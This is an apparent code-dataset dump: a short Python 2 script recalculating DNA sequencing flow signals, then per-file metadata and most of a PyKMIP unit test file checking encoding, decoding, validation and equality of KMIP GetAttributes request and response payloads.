sequence = "GGTCTCTCATGGCACTGTACTCTTCTTGTCCAGCTGTATCCAGTATGTCCAACAAACAGGTTTCACCATCTATAACCACTTGTTTTCTGTAGGGGCTGAACCGCACGACTCCATCCTTGTTGGGCAGGCCCAGGCGGTGCAGTGAGTCGGCCCGCAGCAGCAACAGGAAGTCAAAGGCCTGTCAGGAAGAGGATGGTGAAAGCCAGAGCCAAGCTCGTGCAGGCCCAGGACAGGCGGCGTCCCGTCTCGAGTGATGATCCAGTGTTTTCAGCGA"
ori = '208,-2,196,-2,14,208,-12,258,-2,240,208,4,518,460,36,-6,284,-4,16,496,6,232,266,224,232,500,254,-4,262,-4,0,32,228,-4,232,16,252,-4,240,0,26,46,12,0,224,0,16,0,250,54,488,0,0,198,22,240,4,16,0,0,240,-2,0,64,252,-2,20,262,256,244,252,0,272,250,492,0,-2,16,226,-2,542,10,210,6,244,534,0,270,-2,248,18,-2,270,-2,24,44,322,-4,20,218,236,238,28,0,234,478,-4,-2,292,228,20,-4,246,20,-4,206,244,30,262,8,276,22,-6,-10,516,456,-6,232,20,708,254,8,20,202,46,476,674,246,-2,-4,250,0,486,210,284,206,-14,24,222,42,32,264,282,-8,-6,460,462,244,-20,232,502,22,32,178,898,0,206,8,306,28,0,218,14,-8,48,30,232,14,30,242,48,28,880,6,24,8,-22,-12,268,-22,86,30,254,-2,14,282,64,488,480,212,76,236,-28,8,248,-16,230,-26,14,34,220,208,6,256,62,-14,200,-4,-32,-34,594,256,-8,26,214,-22,474,42,470,0,86,226,488,30,-28,676,28,-12,292,210,26,10,472,-26,-2,680,30,226,18,456,-24,-24,336,10,470,92,234,-24,36,272,52,-2,232,28,70,34,8,60,234,182,78,-6,250,-24,292,230,24,100,234,18,202,10,-6,-24,366,26,496,772,6,12,16,230,-10,14,252,20,-22,12,0,20,298,234,254,212,26,-16,238,20,12,242,54,490,6,30,-14,-20,290,304,498,96,24,454,-18,230,182,12,314,0,28,0,0,20,758,484,476,42,214,4,274,12,218,232,80,284,0,466,0,406,84,38,308,10,-22,296,0,460,30,202,46,-2,220,-18,-34,388,120,56,96,14,188,-8,228,600,40,32,256,66,-26,52,-24,-12,466,210,258,46,34,274,38,268,4,-18,414,24,10,40,-14,6,474,258,312,8,202,182,296,104,232,42,210,26,4,68,4,0,352,236,486,646,40,234,16,440,54,210,318,38,20,38,-6,-12,268,398,294,-10,42,20,482,6,52,232,214,-14,150,32,-12,18,688,0,282,100,242,8,170,90,270,10,276,178,42,84,6,-10,302,202,80,-14,240,-20,280,204,254,94,254,212,240,28,-14,4,506,174,128,-8,242,48,22,250,756,18,284,2,50,64,-10,30,256,194,244,22,52,2,254,182'
origFlowSignal = [ int(x) for x in ori.split(",")]
from varben.common.methods import reCalculateFlowSignal
signal, seq = reCalculateFlowSignal(sequence, origFlowSignal, flowOrder, libKey, barcode)
print origFlowSignal, "!!", len(origFlowSignal)
print signal, len(signal)
print sequence, len(sequence)
print seq, len(seq)
| 161.066667
| 1,724
| 0.718543
| 547
| 2,416
| 3.173675
| 0.332724
| 0.003456
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.477656
| 0.018212
| 2,416
| 14
| 1,725
| 172.571429
| 0.254216
| 0
| 0
| 0
| 0
| 0.083333
| 0.843957
| 0.836921
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.083333
| null | null | 0.333333
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e6f5d07459f634ca50e45b9dbe75b26cd2146efb
| 43,714
|
py
|
Python
|
kmip/tests/unit/core/messages/payloads/test_get_attributes.py
|
smira/PyKMIP
|
54f3688a14bcc442b270765e21732b77d18b2a72
|
[
"Apache-2.0"
] | null | null | null |
kmip/tests/unit/core/messages/payloads/test_get_attributes.py
|
smira/PyKMIP
|
54f3688a14bcc442b270765e21732b77d18b2a72
|
[
"Apache-2.0"
] | null | null | null |
kmip/tests/unit/core/messages/payloads/test_get_attributes.py
|
smira/PyKMIP
|
54f3688a14bcc442b270765e21732b77d18b2a72
|
[
"Apache-2.0"
] | null | null | null |
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import copy
import testtools
from kmip.core import attributes
from kmip.core import enums
from kmip.core import exceptions
from kmip.core import objects
from kmip.core import primitives
from kmip.core import utils
from kmip.core.messages import payloads
class TestGetAttributesRequestPayload(testtools.TestCase):
"""
Test suite for the GetAttributes request payload.
"""
def setUp(self):
super(TestGetAttributesRequestPayload, self).setUp()
# Encodings taken from Sections 3.1.2 of the KMIP 1.1 testing
# documentation.
self.full_encoding = utils.BytearrayStream(
b'\x42\x00\x79\x01\x00\x00\x00\xA8\x42\x00\x94\x07\x00\x00\x00\x24'
b'\x31\x37\x30\x33\x32\x35\x30\x62\x2D\x34\x64\x34\x30\x2D\x34\x64'
b'\x65\x32\x2D\x39\x33\x61\x30\x2D\x63\x34\x39\x34\x61\x31\x64\x34'
b'\x61\x65\x34\x30\x00\x00\x00\x00\x42\x00\x0A\x07\x00\x00\x00\x0C'
b'\x4F\x62\x6A\x65\x63\x74\x20\x47\x72\x6F\x75\x70\x00\x00\x00\x00'
b'\x42\x00\x0A\x07\x00\x00\x00\x20\x41\x70\x70\x6C\x69\x63\x61\x74'
b'\x69\x6F\x6E\x20\x53\x70\x65\x63\x69\x66\x69\x63\x20\x49\x6E\x66'
b'\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x42\x00\x0A\x07\x00\x00\x00\x13'
b'\x43\x6F\x6E\x74\x61\x63\x74\x20\x49\x6E\x66\x6F\x72\x6D\x61\x74'
b'\x69\x6F\x6E\x00\x00\x00\x00\x00\x42\x00\x0A\x07\x00\x00\x00\x09'
b'\x78\x2D\x50\x75\x72\x70\x6F\x73\x65\x00\x00\x00\x00\x00\x00\x00'
)
self.encoding_sans_unique_identifier = utils.BytearrayStream(
b'\x42\x00\x79\x01\x00\x00\x00\x78\x42\x00\x0A\x07\x00\x00\x00\x0C'
b'\x4F\x62\x6A\x65\x63\x74\x20\x47\x72\x6F\x75\x70\x00\x00\x00\x00'
b'\x42\x00\x0A\x07\x00\x00\x00\x20\x41\x70\x70\x6C\x69\x63\x61\x74'
b'\x69\x6F\x6E\x20\x53\x70\x65\x63\x69\x66\x69\x63\x20\x49\x6E\x66'
b'\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x42\x00\x0A\x07\x00\x00\x00\x13'
b'\x43\x6F\x6E\x74\x61\x63\x74\x20\x49\x6E\x66\x6F\x72\x6D\x61\x74'
b'\x69\x6F\x6E\x00\x00\x00\x00\x00\x42\x00\x0A\x07\x00\x00\x00\x09'
b'\x78\x2D\x50\x75\x72\x70\x6F\x73\x65\x00\x00\x00\x00\x00\x00\x00'
)
self.encoding_sans_attribute_names = utils.BytearrayStream(
b'\x42\x00\x79\x01\x00\x00\x00\x30\x42\x00\x94\x07\x00\x00\x00\x24'
b'\x31\x37\x30\x33\x32\x35\x30\x62\x2D\x34\x64\x34\x30\x2D\x34\x64'
b'\x65\x32\x2D\x39\x33\x61\x30\x2D\x63\x34\x39\x34\x61\x31\x64\x34'
b'\x61\x65\x34\x30\x00\x00\x00\x00'
)
self.empty_encoding = utils.BytearrayStream(
b'\x42\x00\x79\x01\x00\x00\x00\x00'
)
self.unique_identifier = '1703250b-4d40-4de2-93a0-c494a1d4ae40'
self.attribute_names = [
'Object Group',
'Application Specific Information',
'Contact Information',
'x-Purpose'
]
def tearDown(self):
super(TestGetAttributesRequestPayload, self).tearDown()
def test_init(self):
"""
Test that a GetAttributes request payload can be constructed with
no arguments.
"""
payloads.GetAttributesRequestPayload()
def test_init_with_args(self):
"""
Test that a GetAttributes request payload can be constructed with a
valid value.
"""
payloads.GetAttributesRequestPayload(
'test-unique-identifier',
['test-attribute-name-1', 'test-attribute-name-2']
)
def test_unique_identifier(self):
"""
Test that the unique_identifier attribute of a GetAttributes request
payload can be properly set and retrieved.
"""
payload = payloads.GetAttributesRequestPayload()
self.assertIsNone(payload.unique_identifier)
self.assertIsNone(payload._unique_identifier)
payload.unique_identifier = 'test-unique-identifier'
self.assertEqual('test-unique-identifier', payload.unique_identifier)
self.assertEqual(
primitives.TextString(
value='test-unique-identifier',
tag=enums.Tags.UNIQUE_IDENTIFIER
),
payload._unique_identifier
)
def test_unique_identifier_with_invalid_value(self):
"""
Test that a TypeError is raised when an invalid ID is used to set
the unique_identifier attribute of a GetAttributes request payload.
"""
payload = payloads.GetAttributesRequestPayload()
args = (payload, 'unique_identifier', 0)
self.assertRaisesRegex(
TypeError,
"unique identifier must be a string",
setattr,
*args
)
def test_attribute_names(self):
"""
Test that the attribute_names attribute of a GetAttributes request
payload can be properly set and retrieved.
"""
payload = payloads.GetAttributesRequestPayload()
self.assertEqual(list(), payload.attribute_names)
self.assertEqual(list(), payload._attribute_names)
payload.attribute_names = [
'test-attribute-name-1',
'test-attribute-name-2'
]
self.assertEqual(2, len(payload.attribute_names))
self.assertEqual(2, len(payload._attribute_names))
self.assertIn('test-attribute-name-1', payload.attribute_names)
self.assertIn('test-attribute-name-2', payload.attribute_names)
self.assertIn(
primitives.TextString(
value='test-attribute-name-1',
tag=enums.Tags.ATTRIBUTE_NAME
),
payload._attribute_names
)
self.assertIn(
primitives.TextString(
value='test-attribute-name-2',
tag=enums.Tags.ATTRIBUTE_NAME
),
payload._attribute_names
)
def test_attribute_names_with_invalid_value(self):
"""
Test that a TypeError is raised when an invalid list is used to set
the attribute_names attribute of a GetAttributes request payload.
"""
payload = payloads.GetAttributesRequestPayload()
args = (payload, 'attribute_names', 0)
self.assertRaisesRegex(
TypeError,
"attribute_names must be a list of strings",
setattr,
*args
)
def test_attribute_names_with_invalid_attribute_name(self):
"""
Test that a TypeError is raised when an invalid attribute name is
included in the list used to set the attribute_names attribute of a
GetAttributes request payload.
"""
payload = payloads.GetAttributesRequestPayload()
args = (
payload,
'attribute_names',
['test-attribute-name-1', 0]
)
self.assertRaisesRegex(
TypeError,
"attribute_names must be a list of strings; "
"item 2 has type {0}".format(type(0)),
setattr,
*args
)
def test_attribute_names_with_duplicates(self):
"""
Test that duplicate attribute names are silently removed when setting
the attribute_names attribute of a GetAttributes request payload.
"""
payload = payloads.GetAttributesRequestPayload()
self.assertEqual(list(), payload.attribute_names)
self.assertEqual(list(), payload._attribute_names)
payload.attribute_names = [
'test-attribute-name-1',
'test-attribute-name-1',
'test-attribute-name-2'
]
self.assertEqual(2, len(payload.attribute_names))
self.assertEqual(2, len(payload._attribute_names))
self.assertIn('test-attribute-name-1', payload.attribute_names)
self.assertIn('test-attribute-name-2', payload.attribute_names)
self.assertIn(
primitives.TextString(
value='test-attribute-name-1',
tag=enums.Tags.ATTRIBUTE_NAME
),
payload._attribute_names
)
self.assertIn(
primitives.TextString(
value='test-attribute-name-2',
tag=enums.Tags.ATTRIBUTE_NAME
),
payload._attribute_names
)
def test_read(self):
"""
Test that a GetAttributes request payload can be read from a data
stream.
"""
payload = payloads.GetAttributesRequestPayload()
self.assertEqual(None, payload._unique_identifier)
self.assertEqual(list(), payload._attribute_names)
payload.read(self.full_encoding)
self.assertEqual(self.unique_identifier, payload.unique_identifier)
self.assertEqual(
primitives.TextString(
value=self.unique_identifier,
tag=enums.Tags.UNIQUE_IDENTIFIER
),
payload._unique_identifier
)
self.assertEqual(
set(self.attribute_names),
set(payload.attribute_names)
)
for attribute_name in self.attribute_names:
self.assertIn(
primitives.TextString(
value=attribute_name,
tag=enums.Tags.ATTRIBUTE_NAME
),
payload._attribute_names
)
def test_read_with_no_unique_identifier(self):
"""
Test that a GetAttributes request payload with no ID can be read
from a data stream.
"""
payload = payloads.GetAttributesRequestPayload()
self.assertEqual(None, payload._unique_identifier)
self.assertEqual(list(), payload._attribute_names)
payload.read(self.encoding_sans_unique_identifier)
self.assertEqual(None, payload.unique_identifier)
self.assertEqual(None, payload._unique_identifier)
self.assertEqual(
set(self.attribute_names),
set(payload.attribute_names)
)
for attribute_name in self.attribute_names:
self.assertIn(
primitives.TextString(
value=attribute_name,
tag=enums.Tags.ATTRIBUTE_NAME
),
payload._attribute_names
)
def test_read_with_no_attribute_names(self):
"""
Test that a GetAttributes request payload with no attribute names
can be read from a data stream.
"""
payload = payloads.GetAttributesRequestPayload()
self.assertEqual(None, payload._unique_identifier)
self.assertEqual(list(), payload._attribute_names)
payload.read(self.encoding_sans_attribute_names)
self.assertEqual(self.unique_identifier, payload.unique_identifier)
self.assertEqual(
primitives.TextString(
value=self.unique_identifier,
tag=enums.Tags.UNIQUE_IDENTIFIER
),
payload._unique_identifier
)
self.assertEqual(list(), payload.attribute_names)
self.assertEqual(list(), payload._attribute_names)
def test_read_with_no_content(self):
"""
Test that a GetAttributes request payload with no ID or attribute
names can be read from a data stream.
"""
payload = payloads.GetAttributesRequestPayload()
self.assertEqual(None, payload._unique_identifier)
self.assertEqual(list(), payload._attribute_names)
payload.read(self.empty_encoding)
self.assertEqual(None, payload.unique_identifier)
self.assertEqual(None, payload._unique_identifier)
self.assertEqual(list(), payload.attribute_names)
self.assertEqual(list(), payload._attribute_names)
def test_write(self):
"""
Test that a GetAttributes request payload can be written to a data
stream.
"""
payload = payloads.GetAttributesRequestPayload(
self.unique_identifier,
self.attribute_names
)
stream = utils.BytearrayStream()
payload.write(stream)
self.assertEqual(len(self.full_encoding), len(stream))
self.assertEqual(str(self.full_encoding), str(stream))
def test_write_with_no_unique_identifier(self):
"""
Test that a GetAttributes request payload with no ID can be written
to a data stream.
"""
payload = payloads.GetAttributesRequestPayload(
None,
self.attribute_names
)
stream = utils.BytearrayStream()
payload.write(stream)
self.assertEqual(
len(self.encoding_sans_unique_identifier),
len(stream)
)
self.assertEqual(
str(self.encoding_sans_unique_identifier),
str(stream)
)
def test_write_with_no_attribute_names(self):
"""
Test that a GetAttributes request payload with no attribute names
can be written to a data stream.
"""
payload = payloads.GetAttributesRequestPayload(
self.unique_identifier,
None
)
stream = utils.BytearrayStream()
payload.write(stream)
self.assertEqual(len(self.encoding_sans_attribute_names), len(stream))
self.assertEqual(str(self.encoding_sans_attribute_names), str(stream))
def test_write_with_no_content(self):
"""
Test that a GetAttributes request payload with no ID or attribute
names can be written to a data stream.
"""
payload = payloads.GetAttributesRequestPayload()
stream = utils.BytearrayStream()
payload.write(stream)
self.assertEqual(len(self.empty_encoding), len(stream))
self.assertEqual(str(self.empty_encoding), str(stream))
def test_repr(self):
"""
Test that repr can be applied to a GetAttributes request payload.
"""
payload = payloads.GetAttributesRequestPayload(
self.unique_identifier,
self.attribute_names
)
unique_identifier = "unique_identifier={0}".format(
payload.unique_identifier
)
attribute_names = "attribute_names={0}".format(
payload.attribute_names
)
expected = "GetAttributesRequestPayload({0}, {1})".format(
unique_identifier,
attribute_names
)
observed = repr(payload)
self.assertEqual(expected, observed)
def test_repr_with_no_unique_identifier(self):
"""
Test that repr can be applied to a GetAttributes request payload with
no ID.
"""
payload = payloads.GetAttributesRequestPayload(
None,
self.attribute_names
)
unique_identifier = "unique_identifier={0}".format(
payload.unique_identifier
)
attribute_names = "attribute_names={0}".format(
payload.attribute_names
)
expected = "GetAttributesRequestPayload({0}, {1})".format(
unique_identifier,
attribute_names
)
observed = repr(payload)
self.assertEqual(expected, observed)
def test_repr_with_no_attribute_names(self):
"""
Test that repr can be applied to a GetAttributes request payload with
no attribute names.
"""
payload = payloads.GetAttributesRequestPayload(
self.unique_identifier,
None
)
unique_identifier = "unique_identifier={0}".format(
payload.unique_identifier
)
attribute_names = "attribute_names={0}".format(
payload.attribute_names
)
expected = "GetAttributesRequestPayload({0}, {1})".format(
unique_identifier,
attribute_names
)
observed = repr(payload)
self.assertEqual(expected, observed)
def test_repr_with_no_content(self):
"""
Test that repr can be applied to a GetAttributes request payload with
no ID or attribute names.
"""
payload = payloads.GetAttributesRequestPayload(
None,
None
)
unique_identifier = "unique_identifier={0}".format(
payload.unique_identifier
)
attribute_names = "attribute_names={0}".format(
payload.attribute_names
)
expected = "GetAttributesRequestPayload({0}, {1})".format(
unique_identifier,
attribute_names
)
observed = repr(payload)
self.assertEqual(expected, observed)
def test_str(self):
"""
Test that str can be applied to a GetAttributes request payload.
"""
payload = payloads.GetAttributesRequestPayload(
self.unique_identifier,
self.attribute_names
)
expected = str({
'unique_identifier': self.unique_identifier,
'attribute_names': self.attribute_names
})
observed = str(payload)
self.assertEqual(expected, observed)
def test_str_with_no_id(self):
"""
Test that str can be applied to a GetAttributes request payload with
no ID.
"""
payload = payloads.GetAttributesRequestPayload(
None,
self.attribute_names
)
expected = str({
'unique_identifier': None,
'attribute_names': self.attribute_names
})
observed = str(payload)
self.assertEqual(expected, observed)
def test_str_with_no_attribute_names(self):
"""
Test that str can be applied to a GetAttributes request payload with
no attribute names.
"""
payload = payloads.GetAttributesRequestPayload(
self.unique_identifier,
None
)
expected = str({
'unique_identifier': self.unique_identifier,
'attribute_names': list()
})
observed = str(payload)
self.assertEqual(expected, observed)
def test_str_with_no_content(self):
"""
Test that str can be applied to a GetAttributes request payload with
no ID or attribute names.
"""
payload = payloads.GetAttributesRequestPayload(
None,
None
)
expected = str({
'unique_identifier': None,
'attribute_names': list()
})
observed = str(payload)
self.assertEqual(expected, observed)
def test_equal_on_equal(self):
"""
Test that the equality operator returns True when comparing two
GetAttributes request payloads with the same data.
"""
a = payloads.GetAttributesRequestPayload(
self.unique_identifier,
self.attribute_names
)
b = payloads.GetAttributesRequestPayload(
self.unique_identifier,
self.attribute_names
)
self.assertTrue(a == b)
self.assertTrue(b == a)
def test_equal_with_mixed_attribute_names(self):
"""
Test that the equality operator returns True when comparing two
GetAttributes request payload with the same attribute_name sets
but with different attribute name orderings.
"""
a = payloads.GetAttributesRequestPayload(
self.unique_identifier,
self.attribute_names
)
self.attribute_names.reverse()
b = payloads.GetAttributesRequestPayload(
self.unique_identifier,
self.attribute_names
)
self.assertTrue(a == b)
self.assertTrue(b == a)
def test_equal_on_not_equal_unique_identifier(self):
"""
Test that the equality operator returns False when comparing two
GetAttributes request payloads with different IDs.
"""
a = payloads.GetAttributesRequestPayload(
self.unique_identifier,
self.attribute_names
)
b = payloads.GetAttributesRequestPayload(
'invalid',
self.attribute_names
)
self.assertFalse(a == b)
self.assertFalse(b == a)
def test_equal_on_not_equal_attribute_names(self):
"""
Test that the equality operator returns False when comparing two
GetAttributes request payloads with different attribute names.
"""
a = payloads.GetAttributesRequestPayload(
self.unique_identifier,
self.attribute_names
)
b = payloads.GetAttributesRequestPayload(
self.unique_identifier,
None
)
self.assertFalse(a == b)
self.assertFalse(b == a)
def test_equal_on_type_mismatch(self):
"""
Test that the equality operator returns False when comparing a
GetAttributes request payload to a non-GetAttributes request
payload.
"""
a = payloads.GetAttributesRequestPayload(
self.unique_identifier,
self.attribute_names
)
b = "invalid"
self.assertFalse(a == b)
self.assertFalse(b == a)
def test_not_equal_on_equal(self):
"""
Test that the inequality operator returns False when comparing
two GetAttributes request payloads with the same internal data.
"""
a = payloads.GetAttributesRequestPayload(
self.unique_identifier,
self.attribute_names
)
b = payloads.GetAttributesRequestPayload(
self.unique_identifier,
self.attribute_names
)
self.assertFalse(a != b)
self.assertFalse(b != a)
def test_not_equal_on_not_equal_unique_identifier(self):
"""
Test that the inequality operator returns True when comparing two
GetAttributes request payloads with different IDs.
"""
a = payloads.GetAttributesRequestPayload(
self.unique_identifier,
self.attribute_names
)
b = payloads.GetAttributesRequestPayload(
'invalid',
self.attribute_names
)
self.assertTrue(a != b)
self.assertTrue(b != a)
def test_not_equal_on_not_equal_attribute_names(self):
"""
Test that the inequality operator returns True when comparing two
GetAttributes request payloads with different attribute names.
"""
a = payloads.GetAttributesRequestPayload(
self.unique_identifier,
self.attribute_names
)
b = payloads.GetAttributesRequestPayload(
self.unique_identifier,
None
)
self.assertTrue(a != b)
self.assertTrue(b != a)
def test_not_equal_on_type_mismatch(self):
"""
Test that the equality operator returns True when comparing a
GetAttributes request payload to a non-GetAttributes request
payload.
"""
a = payloads.GetAttributesRequestPayload(
self.unique_identifier,
self.attribute_names
)
b = "invalid"
self.assertTrue(a != b)
self.assertTrue(b != a)
class TestGetAttributesResponsePayload(testtools.TestCase):
"""
Test suite for the GetAttributes response payload.
"""
def setUp(self):
super(TestGetAttributesResponsePayload, self).setUp()
# Encodings taken from Sections 3.1.2 of the KMIP 1.1 testing
# documentation.
self.full_encoding = utils.BytearrayStream(
b'\x42\x00\x7C\x01\x00\x00\x01\x30\x42\x00\x94\x07\x00\x00\x00\x24'
b'\x31\x37\x30\x33\x32\x35\x30\x62\x2D\x34\x64\x34\x30\x2D\x34\x64'
b'\x65\x32\x2D\x39\x33\x61\x30\x2D\x63\x34\x39\x34\x61\x31\x64\x34'
b'\x61\x65\x34\x30\x00\x00\x00\x00\x42\x00\x08\x01\x00\x00\x00\x28'
b'\x42\x00\x0A\x07\x00\x00\x00\x0C\x4F\x62\x6A\x65\x63\x74\x20\x47'
b'\x72\x6F\x75\x70\x00\x00\x00\x00\x42\x00\x0B\x07\x00\x00\x00\x06'
b'\x47\x72\x6F\x75\x70\x31\x00\x00\x42\x00\x08\x01\x00\x00\x00\x58'
b'\x42\x00\x0A\x07\x00\x00\x00\x20\x41\x70\x70\x6C\x69\x63\x61\x74'
b'\x69\x6F\x6E\x20\x53\x70\x65\x63\x69\x66\x69\x63\x20\x49\x6E\x66'
b'\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x42\x00\x0B\x01\x00\x00\x00\x28'
b'\x42\x00\x03\x07\x00\x00\x00\x03\x73\x73\x6C\x00\x00\x00\x00\x00'
b'\x42\x00\x02\x07\x00\x00\x00\x0F\x77\x77\x77\x2E\x65\x78\x61\x6D'
b'\x70\x6C\x65\x2E\x63\x6F\x6D\x00\x42\x00\x08\x01\x00\x00\x00\x30'
b'\x42\x00\x0A\x07\x00\x00\x00\x13\x43\x6F\x6E\x74\x61\x63\x74\x20'
b'\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x00\x00\x00\x00'
b'\x42\x00\x0B\x07\x00\x00\x00\x03\x4A\x6F\x65\x00\x00\x00\x00\x00'
b'\x42\x00\x08\x01\x00\x00\x00\x30\x42\x00\x0A\x07\x00\x00\x00\x09'
b'\x78\x2D\x50\x75\x72\x70\x6F\x73\x65\x00\x00\x00\x00\x00\x00\x00'
b'\x42\x00\x0B\x07\x00\x00\x00\x0D\x64\x65\x6D\x6F\x6E\x73\x74\x72'
b'\x61\x74\x69\x6F\x6E\x00\x00\x00'
)
self.encoding_sans_unique_identifier = utils.BytearrayStream(
b'\x42\x00\x7C\x01\x00\x00\x01\x00\x42\x00\x08\x01\x00\x00\x00\x28'
b'\x42\x00\x0A\x07\x00\x00\x00\x0C\x4F\x62\x6A\x65\x63\x74\x20\x47'
b'\x72\x6F\x75\x70\x00\x00\x00\x00\x42\x00\x0B\x07\x00\x00\x00\x06'
b'\x47\x72\x6F\x75\x70\x31\x00\x00\x42\x00\x08\x01\x00\x00\x00\x58'
b'\x42\x00\x0A\x07\x00\x00\x00\x20\x41\x70\x70\x6C\x69\x63\x61\x74'
b'\x69\x6F\x6E\x20\x53\x70\x65\x63\x69\x66\x69\x63\x20\x49\x6E\x66'
b'\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x42\x00\x0B\x01\x00\x00\x00\x28'
b'\x42\x00\x03\x07\x00\x00\x00\x03\x73\x73\x6C\x00\x00\x00\x00\x00'
b'\x42\x00\x02\x07\x00\x00\x00\x0F\x77\x77\x77\x2E\x65\x78\x61\x6D'
b'\x70\x6C\x65\x2E\x63\x6F\x6D\x00\x42\x00\x08\x01\x00\x00\x00\x30'
b'\x42\x00\x0A\x07\x00\x00\x00\x13\x43\x6F\x6E\x74\x61\x63\x74\x20'
b'\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x00\x00\x00\x00'
b'\x42\x00\x0B\x07\x00\x00\x00\x03\x4A\x6F\x65\x00\x00\x00\x00\x00'
b'\x42\x00\x08\x01\x00\x00\x00\x30\x42\x00\x0A\x07\x00\x00\x00\x09'
b'\x78\x2D\x50\x75\x72\x70\x6F\x73\x65\x00\x00\x00\x00\x00\x00\x00'
b'\x42\x00\x0B\x07\x00\x00\x00\x0D\x64\x65\x6D\x6F\x6E\x73\x74\x72'
b'\x61\x74\x69\x6F\x6E\x00\x00\x00'
)
self.encoding_sans_attributes = utils.BytearrayStream(
b'\x42\x00\x7C\x01\x00\x00\x00\x30\x42\x00\x94\x07\x00\x00\x00\x24'
b'\x31\x37\x30\x33\x32\x35\x30\x62\x2D\x34\x64\x34\x30\x2D\x34\x64'
b'\x65\x32\x2D\x39\x33\x61\x30\x2D\x63\x34\x39\x34\x61\x31\x64\x34'
b'\x61\x65\x34\x30\x00\x00\x00\x00'
)
self.unique_identifier = '1703250b-4d40-4de2-93a0-c494a1d4ae40'
self.attributes = [
objects.Attribute(
attribute_name=objects.Attribute.AttributeName(
'Object Group'
),
attribute_value=attributes.ObjectGroup('Group1')
),
objects.Attribute(
attribute_name=objects.Attribute.AttributeName(
'Application Specific Information'
),
attribute_value=attributes.ApplicationSpecificInformation(
attributes.ApplicationNamespace('ssl'),
attributes.ApplicationData('www.example.com')
)
),
objects.Attribute(
attribute_name=objects.Attribute.AttributeName(
'Contact Information'
),
attribute_value=attributes.ContactInformation('Joe')
),
objects.Attribute(
attribute_name=objects.Attribute.AttributeName('x-Purpose'),
attribute_value=primitives.TextString('demonstration')
)
]
def tearDown(self):
super(TestGetAttributesResponsePayload, self).tearDown()
def test_init(self):
"""
Test that a GetAttributes response payload can be constructed.
"""
payloads.GetAttributesResponsePayload()
def test_init_with_args(self):
"""
Test that a GetAttributes response payload can be constructed with a
valid value.
"""
payloads.GetAttributesResponsePayload(
'test-unique-identifier',
[objects.Attribute(), objects.Attribute()]
)
def test_unique_identifier(self):
"""
Test that the unique_identifier attribute of a GetAttributes response
payload can be properly set and retrieved.
"""
payload = payloads.GetAttributesResponsePayload()
self.assertIsNone(payload.unique_identifier)
self.assertIsNone(payload._unique_identifier)
payload.unique_identifier = 'test-unique-identifier'
self.assertEqual('test-unique-identifier', payload.unique_identifier)
self.assertEqual(
primitives.TextString(
value='test-unique-identifier',
tag=enums.Tags.UNIQUE_IDENTIFIER
),
payload._unique_identifier
)
def test_unique_identifier_with_invalid_value(self):
"""
Test that a TypeError is raised when an invalid ID is used to set
the unique_identifier attribute of a GetAttributes response payload.
"""
payload = payloads.GetAttributesResponsePayload()
args = (payload, 'unique_identifier', 0)
self.assertRaisesRegex(
TypeError,
"unique identifier must be a string",
setattr,
*args
)
def test_attributes(self):
"""
Test that the attributes attribute of a GetAttributes response
payload can be properly set and retrieved.
"""
payload = payloads.GetAttributesResponsePayload()
self.assertEqual(list(), payload.attributes)
self.assertEqual(list(), payload._attributes)
payload.attributes = [
objects.Attribute(),
objects.Attribute()
]
self.assertEqual(2, len(payload.attributes))
self.assertEqual(2, len(payload._attributes))
for attribute in payload._attributes:
self.assertIsInstance(attribute, objects.Attribute)
def test_attributes_with_invalid_value(self):
"""
Test that a TypeError is raised when an invalid list is used to set
the attributes attribute of a GetAttributes response payload.
"""
payload = payloads.GetAttributesResponsePayload()
args = (payload, 'attributes', 0)
self.assertRaisesRegex(
TypeError,
"attributes must be a list of attribute objects",
setattr,
*args
)
def test_attributes_with_invalid_attribute(self):
"""
Test that a TypeError is raised when an invalid attribute is included
in the list used to set the attributes attribute of a GetAttributes
response payload.
"""
payload = payloads.GetAttributesResponsePayload()
args = (
payload,
'attributes',
[objects.Attribute(), 0]
)
self.assertRaisesRegex(
TypeError,
"attributes must be a list of attribute objects; "
"item 2 has type {0}".format(type(0)),
setattr,
*args
)
def test_read(self):
"""
Test that a GetAttributes response payload can be read from a data
stream.
"""
payload = payloads.GetAttributesResponsePayload()
self.assertEqual(None, payload._unique_identifier)
self.assertEqual(list(), payload._attributes)
payload.read(self.full_encoding)
self.assertEqual(self.unique_identifier, payload.unique_identifier)
self.assertEqual(
primitives.TextString(
value=self.unique_identifier,
tag=enums.Tags.UNIQUE_IDENTIFIER
),
payload._unique_identifier
)
self.assertEqual(
len(self.attributes),
len(payload.attributes)
)
for attribute in self.attributes:
self.assertIn(
attribute,
payload._attributes
)
def test_read_with_no_unique_identifier(self):
"""
Test that an InvalidKmipEncoding error gets raised when attempting to
read a GetAttributes response encoding with no ID data.
"""
payload = payloads.GetAttributesResponsePayload()
self.assertEqual(None, payload._unique_identifier)
self.assertEqual(list(), payload._attributes)
args = (self.encoding_sans_unique_identifier, )
self.assertRaisesRegex(
exceptions.InvalidKmipEncoding,
"expected GetAttributes response unique identifier not found",
payload.read,
*args
)
def test_read_with_no_attributes(self):
"""
Test that a GetAttributes response payload without attribute name
data can be read from a data stream.
"""
payload = payloads.GetAttributesResponsePayload()
self.assertEqual(None, payload._unique_identifier)
self.assertEqual(list(), payload._attributes)
payload.read(self.encoding_sans_attributes)
self.assertEqual(self.unique_identifier, payload.unique_identifier)
self.assertEqual(
primitives.TextString(
value=self.unique_identifier,
tag=enums.Tags.UNIQUE_IDENTIFIER
),
payload._unique_identifier
)
self.assertEqual(list(), payload.attributes)
